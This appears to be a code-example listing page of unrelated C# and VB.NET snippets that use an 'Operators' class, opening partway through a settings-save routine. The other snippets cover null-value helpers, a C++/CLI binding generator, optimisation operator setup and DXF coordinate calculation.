         this.LocalPassWord         = this.tbLocalSqlPassword.Text;
         this.IPMayGiamSat          = this.tbComputerWatch.Text;
         this.IPMayNhanDang         = this.tbComputerRecognize.Text;
         this.ServerImagesPath      = this.tbServerFolderImage.Text;
         this.ServerImagesPathBS    = this.tbServerFolderPlateImage.Text;
         this.PortDuLieuChinh       = this.tbPortMain.Text;
         this.PortDuLieuCu          = this.tbPortSub.Text;
         this.PortMayNhanDangBienSo = this.tbPortRecognize.Text;
         this.Cabin             = this.tbLane.Text;
         this.IdTram            = Conversions.ToInteger(this.cbbCodeTram.Text);
         this.Instance          = this.tbLocalInstance.Text;
         this.Status            = this.cbbPropertyLane.SelectedIndex;
         this.LocalImagesPath   = this.tbLocalFolderlImage.Text;
         this.ServerName        = this.tbServerName.Text;
         this.ServerSqlUser     = this.tbServerSqlUser.Text;
         this.ServerSqlPassword = this.tbServerSqlPassword.Text;
         this.ServerDatabase    = this.tbServerDatabaseName.Text;
         this.ServerPublication = this.tbPublicationName.Text;
         this.ComPortBangDien   = this.cbbbangDien.Text;
         this.ComPortBanPhim    = this.cbbComportNameKeyboard.Text;
         this.ComPortDieuKhien  = this.cbbComportNameController.Text;
         this.ComPortDauDoc     = this.cbbComportNameTicket.Text;
         this.IPDauGhiHinh      = this.tbIpDauGhi.Text;
         this.DVRchanel         = 0;
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb0.Checked, 1.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb1.Checked, 2.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb2.Checked, 4.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb3.Checked, 8.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb4.Checked, 16.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb5.Checked, 32.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb6.Checked, 64.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb7.Checked, 128.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb8.Checked, 256.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb9.Checked, 512.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb10.Checked, 1024.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb11.Checked, 2048.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb12.Checked, 4096.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb13.Checked, 8192.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb14.Checked, 16384.0, 0)));
         this.DVRchanel         = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb15.Checked, 32768.0, 0)));
         this.TinhNangThoai     = this.cbTinhNangThoai.Checked;
         this.DauDocMaVach      = this.cbbDauDoc.SelectedIndex;
         Encryption.Encryption.Encode("ITVVA", this.LocalUserName, ref this.LocalUserName);
         Encryption.Encryption.Encode("ITVVA", this.LocalPassWord, ref this.LocalPassWord);
         this.Config.WriteNode("Catalog", "Database", this.LocalDatabase);
         this.Config.WriteNode("Login", "Database", this.LocalUserName);
         this.Config.WriteNode("Password", "Database", this.LocalPassWord);
         this.Config.WriteNode("MayGiamSat", "Connect", this.IPMayGiamSat);
         this.Config.WriteNode("NhanDangBienSo", "Connect", this.IPMayNhanDang);
         this.Config.WriteNode("LocalImagesPath", "Connect", this.LocalImagesPath);
         this.Config.WriteNode("ServerImagesPath", "Connect", this.ServerImagesPath);
         this.Config.WriteNode("ServerImagesPathBS", "Connect", this.ServerImagesPathBS);
         this.Config.WriteNode("PortDuLieuChinh", "Connect", this.PortDuLieuChinh);
         this.Config.WriteNode("PortDuLieuCu", "Connect", this.PortDuLieuCu);
         this.Config.WriteNode("PortTroGiup", "Connect", this.PortTroGiup);
         this.Config.WriteNode("PortMayNhanDangBienSo", "Connect", this.PortMayNhanDangBienSo);
         this.Config.WriteNode("CabinID", "General", this.Cabin);
         this.Config.WriteNode("TramId", "General", Conversions.ToString(this.IdTram));
         this.Config.WriteNode("Status", "General", Conversions.ToString(this.Status));
         this.Config.WriteNode("Instance", "Database", this.Instance);
         this.Config.WriteNode("DatabaseServer", "SQLReplication", this.ServerDatabase);
         this.Config.WriteNode("Server", "SQLReplication", this.ServerName);
         Encryption.Encryption.Encode("ITVVA", this.ServerSqlUser, ref this.ServerSqlUser);
         this.Config.XmlNodeValue("UserServer", "SQLReplication", this.ServerSqlUser);
         Encryption.Encryption.Encode("ITVVA", this.ServerSqlPassword, ref this.ServerSqlPassword);
         this.Config.WriteNode("PasswordServer", "SQLReplication", this.ServerSqlPassword);
         this.Config.WriteNode("Publication", "SQLReplication", this.ServerPublication);
         this.Config.WriteNode("TenDauDoc", "NewInfo", Conversions.ToString(this.DauDocMaVach));
         this.Config.WriteNode("ComPortBangDien", "NewInfo", this.ComPortBangDien);
         this.Config.WriteNode("ComPortBanPhim", "NewInfo", this.ComPortBanPhim);
         this.Config.WriteNode("ComPortDieuKhien", "NewInfo", this.ComPortDieuKhien);
         this.Config.WriteNode("ComPortDauDoc", "NewInfo", this.ComPortDauDoc);
         this.Config.WriteNode("DVRChanel", "NewInfo", Conversions.ToString(this.DVRchanel));
         if (this.TinhNangThoai)
         {
             this.Config.WriteNode("TinhNangThoai", "NewInfo", "1");
         }
         else
         {
             this.Config.WriteNode("TinhNangThoai", "NewInfo", "0");
         }
         this.Config.WriteNode("videoCard", "NewInfo", this.IPDauGhiHinh);
     }
     catch (Exception expr_96C)
     {
         ProjectData.SetProjectError(expr_96C);
         Interaction.MsgBox("err", MsgBoxStyle.OkOnly, null);
         ProjectData.ClearProjectError();
     }
 }
示例#49
0
        public static object SetNull(PropertyInfo objPropertyInfo)
        {
            string Left = objPropertyInfo.PropertyType.ToString();
            object obj;

            if (Operators.CompareString(Left, "System.Int16", false) == 0)
            {
                obj = (object)Null.NullShort;
            }
            else if (Operators.CompareString(Left, "System.Int32", false) == 0 || Operators.CompareString(Left, "System.Int64", false) == 0)
            {
                obj = (object)Null.NullInteger;
            }
            else if (Operators.CompareString(Left, "system.Byte", false) == 0)
            {
                obj = (object)Null.NullByte;
            }
            else if (Operators.CompareString(Left, "System.Single", false) == 0)
            {
                obj = (object)Null.NullSingle;
            }
            else if (Operators.CompareString(Left, "System.Double", false) == 0)
            {
                obj = (object)Null.NullDouble;
            }
            else if (Operators.CompareString(Left, "System.Decimal", false) == 0)
            {
                obj = (object)Null.NullDecimal;
            }
            else if (Operators.CompareString(Left, "System.DateTime", false) == 0)
            {
                obj = (object)Null.NullDate;
            }
            else if (Operators.CompareString(Left, "System.String", false) == 0 || Operators.CompareString(Left, "System.Char", false) == 0)
            {
                obj = (object)Null.NullString;
            }
            else if (Operators.CompareString(Left, "System.Boolean", false) == 0)
            {
                obj = (object)Null.NullBoolean;
            }
            else if (Operators.CompareString(Left, "System.Guid", false) == 0)
            {
                obj = (object)Null.NullGuid;
            }
            else
            {
                Type propertyType = objPropertyInfo.PropertyType;
                if (propertyType.BaseType.Equals(typeof(Enum)))
                {
                    Array values = Enum.GetValues(propertyType);
                    Array.Sort(values);
                    obj = RuntimeHelpers.GetObjectValue(Enum.ToObject(propertyType, RuntimeHelpers.GetObjectValue(values.GetValue(0))));
                }
                else
                {
                    obj = (object)null;
                }
            }
            return(obj);
        }
示例#50
0
 private bool method_11(GClass1.GClass2 gclass2_0)
 {
     return Operators.CompareString(gclass2_0.method_6(), bot_0.string_0, false) == 0;
 }
示例#51
0
        public static object GetNull(object objField, object objDBNull)
        {
            object objectValue = RuntimeHelpers.GetObjectValue(objField);

            if (objField == null)
            {
                objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
            }
            else if (objField is byte)
            {
                if ((int)Convert.ToByte(RuntimeHelpers.GetObjectValue(objField)) == (int)Null.NullByte)
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
            }
            else if (objField is short)
            {
                if ((int)Convert.ToInt16(RuntimeHelpers.GetObjectValue(objField)) == (int)Null.NullShort)
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
            }
            else if (objField is int)
            {
                if (Convert.ToInt32(RuntimeHelpers.GetObjectValue(objField)) == Null.NullInteger)
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
            }
            else if (objField is float)
            {
                if ((double)Convert.ToSingle(RuntimeHelpers.GetObjectValue(objField)) == (double)Null.NullSingle)
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
            }
            else if (objField is double)
            {
                if (Convert.ToDouble(RuntimeHelpers.GetObjectValue(objField)) == Null.NullDouble)
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
            }
            else if (objField is Decimal)
            {
                if (Decimal.Compare(Convert.ToDecimal(RuntimeHelpers.GetObjectValue(objField)), Null.NullDecimal) == 0)
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
            }
            else if (objField is DateTime)
            {
                if (DateTime.Compare(Convert.ToDateTime(RuntimeHelpers.GetObjectValue(objField)).Date, Null.NullDate.Date) == 0)
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
            }
            else if (objField is string)
            {
                if (objField == null)
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
                else if (Operators.CompareString(objField.ToString(), Null.NullString, false) == 0)
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
            }
            else if (objField is bool)
            {
                if (Convert.ToBoolean(RuntimeHelpers.GetObjectValue(objField)) == Null.NullBoolean)
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
            }
            else if (objField is Guid)
            {
                object obj  = objField;
                Guid   guid = NullGuid;
                if ((obj != null ? (Guid)obj : guid).Equals(Null.NullGuid))
                {
                    objectValue = RuntimeHelpers.GetObjectValue(objDBNull);
                }
            }
            return(objectValue);
        }
示例#52
0
        public void GenerateFunctionCall(Function function, Class @class = null, Type publicRetType = null)
        {
            CheckArgumentRange(function);

            if (function.OperatorKind == CXXOperatorKind.EqualEqual ||
                function.OperatorKind == CXXOperatorKind.ExclaimEqual)
            {
                WriteLine("bool {0}Null = ReferenceEquals({0}, nullptr);",
                          function.Parameters[0].Name);
                WriteLine("bool {0}Null = ReferenceEquals({0}, nullptr);",
                          function.Parameters[1].Name);
                WriteLine("if ({0}Null || {1}Null)",
                          function.Parameters[0].Name, function.Parameters[1].Name);
                WriteLineIndent("return {0}{1}Null && {2}Null{3};",
                                function.OperatorKind == CXXOperatorKind.EqualEqual ? string.Empty : "!(",
                                function.Parameters[0].Name, function.Parameters[1].Name,
                                function.OperatorKind == CXXOperatorKind.EqualEqual ? string.Empty : ")");
            }

            var retType = function.ReturnType;

            if (publicRetType == null)
            {
                publicRetType = retType.Type;
            }
            var needsReturn = !retType.Type.IsPrimitiveType(PrimitiveType.Void);

            const string valueMarshalName = "_this0";
            var          isValueType      = @class != null && @class.IsValueType;

            if (isValueType && !IsNativeFunctionOrStaticMethod(function))
            {
                WriteLine("auto {0} = ::{1}();", valueMarshalName, @class.QualifiedOriginalName);

                var param = new Parameter {
                    Name = "(*this)"
                };
                var ctx = new MarshalContext(Context)
                {
                    MarshalVarPrefix = valueMarshalName,
                    Parameter        = param
                };

                var marshal = new CLIMarshalManagedToNativePrinter(ctx);
                marshal.MarshalValueClassProperties(@class, valueMarshalName);

                if (!string.IsNullOrWhiteSpace(marshal.Context.SupportBefore))
                {
                    Write(marshal.Context.SupportBefore);
                }
            }

            var @params = GenerateFunctionParamsMarshal(function.Parameters, function);

            var returnIdentifier = Helpers.ReturnIdentifier;

            if (needsReturn)
            {
                if (retType.Type.IsReference())
                {
                    Write("auto &{0} = ", returnIdentifier);
                }
                else
                {
                    Write("auto {0} = ", returnIdentifier);
                }
            }

            if (function.OperatorKind == CXXOperatorKind.Conversion ||
                function.OperatorKind == CXXOperatorKind.ExplicitConversion)
            {
                var method      = function as Method;
                var typePrinter = new CppTypePrinter();
                var typeName    = method.ConversionType.Visit(typePrinter);
                WriteLine("({0}) {1};", typeName, @params[0].Name);
            }
            else if (function.IsOperator &&
                     function.OperatorKind != CXXOperatorKind.Subscript)
            {
                var opName = function.Name.Replace("operator", "").Trim();

                switch (Operators.ClassifyOperator(function))
                {
                case CXXOperatorArity.Unary:
                    WriteLine("{0} {1};", opName, @params[0].Name);
                    break;

                case CXXOperatorArity.Binary:
                    WriteLine("{0} {1} {2};", @params[0].Name, opName, @params[1].Name);
                    break;
                }
            }
            else
            {
                if (IsNativeFunctionOrStaticMethod(function))
                {
                    Write("::{0}(", function.QualifiedOriginalName);
                }
                else
                {
                    if (isValueType)
                    {
                        Write("{0}.", valueMarshalName);
                    }
                    else if (IsNativeMethod(function))
                    {
                        Write("((::{0}*)NativePtr)->", @class.QualifiedOriginalName);
                    }
                    Write("{0}(", function.OriginalName);
                }

                GenerateFunctionParams(@params);
                WriteLine(");");
            }

            foreach (var paramInfo in @params)
            {
                var param = paramInfo.Param;
                if (param.Usage != ParameterUsage.Out && param.Usage != ParameterUsage.InOut)
                {
                    continue;
                }

                if (param.Type.IsPointer() && !param.Type.GetFinalPointee().IsPrimitiveType())
                {
                    param.QualifiedType = new QualifiedType(param.Type.GetFinalPointee());
                }

                var nativeVarName = paramInfo.Name;

                var ctx = new MarshalContext(Context)
                {
                    ArgName       = nativeVarName,
                    ReturnVarName = nativeVarName,
                    ReturnType    = param.QualifiedType
                };

                var marshal = new CLIMarshalNativeToManagedPrinter(ctx);
                param.Visit(marshal);

                if (!string.IsNullOrWhiteSpace(marshal.Context.SupportBefore))
                {
                    Write(marshal.Context.SupportBefore);
                }

                WriteLine("{0} = {1};", param.Name, marshal.Context.Return);
            }

            if (isValueType && !IsNativeFunctionOrStaticMethod(function))
            {
                GenerateStructMarshaling(@class, valueMarshalName + ".");
            }

            if (needsReturn)
            {
                var retTypeName = retType.Visit(TypePrinter).ToString();
                var isIntPtr    = retTypeName.Contains("IntPtr");

                if (retType.Type.IsPointer() && (isIntPtr || retTypeName.EndsWith("^", StringComparison.Ordinal)))
                {
                    WriteLine("if ({0} == nullptr) return {1};",
                              returnIdentifier,
                              isIntPtr ? "System::IntPtr()" : "nullptr");
                }

                var ctx = new MarshalContext(Context)
                {
                    ArgName       = returnIdentifier,
                    ReturnVarName = returnIdentifier,
                    ReturnType    = retType
                };

                var marshal = new CLIMarshalNativeToManagedPrinter(ctx);
                retType.Visit(marshal);

                if (!string.IsNullOrWhiteSpace(marshal.Context.SupportBefore))
                {
                    Write(marshal.Context.SupportBefore);
                }

                // Special case for indexer - needs to dereference if the internal
                // function is a pointer type and the property is not.
                if (retType.Type.IsPointer() &&
                    retType.Type.GetPointee().Equals(publicRetType) &&
                    publicRetType.IsPrimitiveType())
                {
                    WriteLine("return *({0});", marshal.Context.Return);
                }
                else if (retType.Type.IsReference() && publicRetType.IsReference())
                {
                    WriteLine("return ({0})({1});", publicRetType, marshal.Context.Return);
                }
                else
                {
                    WriteLine("return {0};", marshal.Context.Return);
                }
            }
        }
 private void InitializeOperators()
 {
     Operators.Add(new SymbolicDataAnalysisAlleleFrequencyAnalyzer());
     ParameterizeOperators();
 }
示例#54
0
        internal object FriendGetMinMaxCoords()
        {
            object    dvarItems     = RuntimeHelpers.GetObjectValue(hwpDxf_Functions.BkDXF_ValueCollectionToArray(mobjDictEntities.Values));
            int       num           = Information.LBound((Array)dvarItems);
            int       num2          = Information.UBound((Array)dvarItems);
            bool      dblnFirst     = default(bool);
            object    dvarMaxCoordX = default(object);
            object    dvarMaxCoordY = default(object);
            object    dvarMinCoordX = default(object);
            object    dvarMinCoordY = default(object);
            AcadSolid dobjObject    = default(AcadSolid);

            for (int dlngIdx = num; dlngIdx <= num2; dlngIdx = checked (dlngIdx + 1))
            {
                double ddblCurObjectID = Conversions.ToDouble(NewLateBinding.LateIndexGet(dvarItems, new object[1]
                {
                    dlngIdx
                }, null));
                AcadDatabase database       = Database;
                AcadObject   robjAcadObject = dobjObject;
                string       nrstrErrMsg    = "";
                database.FriendObjectIdToObject(ddblCurObjectID, ref robjAcadObject, ref nrstrErrMsg);
                dobjObject = (AcadSolid)robjAcadObject;
                object dvarMinMaxCoords = RuntimeHelpers.GetObjectValue(dobjObject.MinMaxCoords);
                if (dvarMinMaxCoords == null)
                {
                    continue;
                }
                if (!dblnFirst)
                {
                    dvarMaxCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        0
                    }, null));
                    dvarMaxCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        1
                    }, null));
                    dvarMinCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        2
                    }, null));
                    dvarMinCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        3
                    }, null));
                    dblnFirst = true;
                    continue;
                }
                if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                {
                    0
                }, null), dvarMaxCoordX, TextCompare: false))
                {
                    dvarMaxCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        0
                    }, null));
                }
                if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                {
                    1
                }, null), dvarMaxCoordY, TextCompare: false))
                {
                    dvarMaxCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        1
                    }, null));
                }
                if (Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                {
                    2
                }, null), dvarMinCoordX, TextCompare: false))
                {
                    dvarMinCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        2
                    }, null));
                }
                if (Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                {
                    3
                }, null), dvarMinCoordY, TextCompare: false))
                {
                    dvarMinCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        3
                    }, null));
                }
            }
            object FriendGetMinMaxCoords = (!dblnFirst) ? null : new object[4]
            {
                dvarMaxCoordX,
                dvarMaxCoordY,
                dvarMinCoordX,
                dvarMinCoordY
            };

            dobjObject = null;
            return(FriendGetMinMaxCoords);
        }
 public MyOperatorOneForge()
 {
     Operators.Add(this);
 }
示例#56
0
 public static DoOperationAction DoOperation(Operators op) {
     return DoOperationAction.Make(op);
 }
示例#57
0
 private void InitializeOperators()
 {
     Operators.Add(new TrainingBestSolutionAnalyzer());
     Operators.Add(new ValidationBestSolutionAnalyzer());
     ParameterizeOperators();
 }
示例#58
0
 public SXCM_REAL()
 {
     this.operatorField = Operators.I;
 }
示例#59
0
 public SXCM_TS()
 {
     this.operatorField = Operators.I;
 }
示例#60
-1
        /// <summary>
        /// Zpracuje retezec na podminku
        /// </summary>
        /// <param name="string_condition">text podminky</param>
        /// <param name="columns">sloupce gridu, pro ktery plati podminka</param>
        public Condition(string string_condition, ColumnCollection columns)
        {
            this.left_value = null;
            this.right_value = null;
            this.compare_operator = Operators.not_equal;

            this.ParseString(string_condition, columns);
        }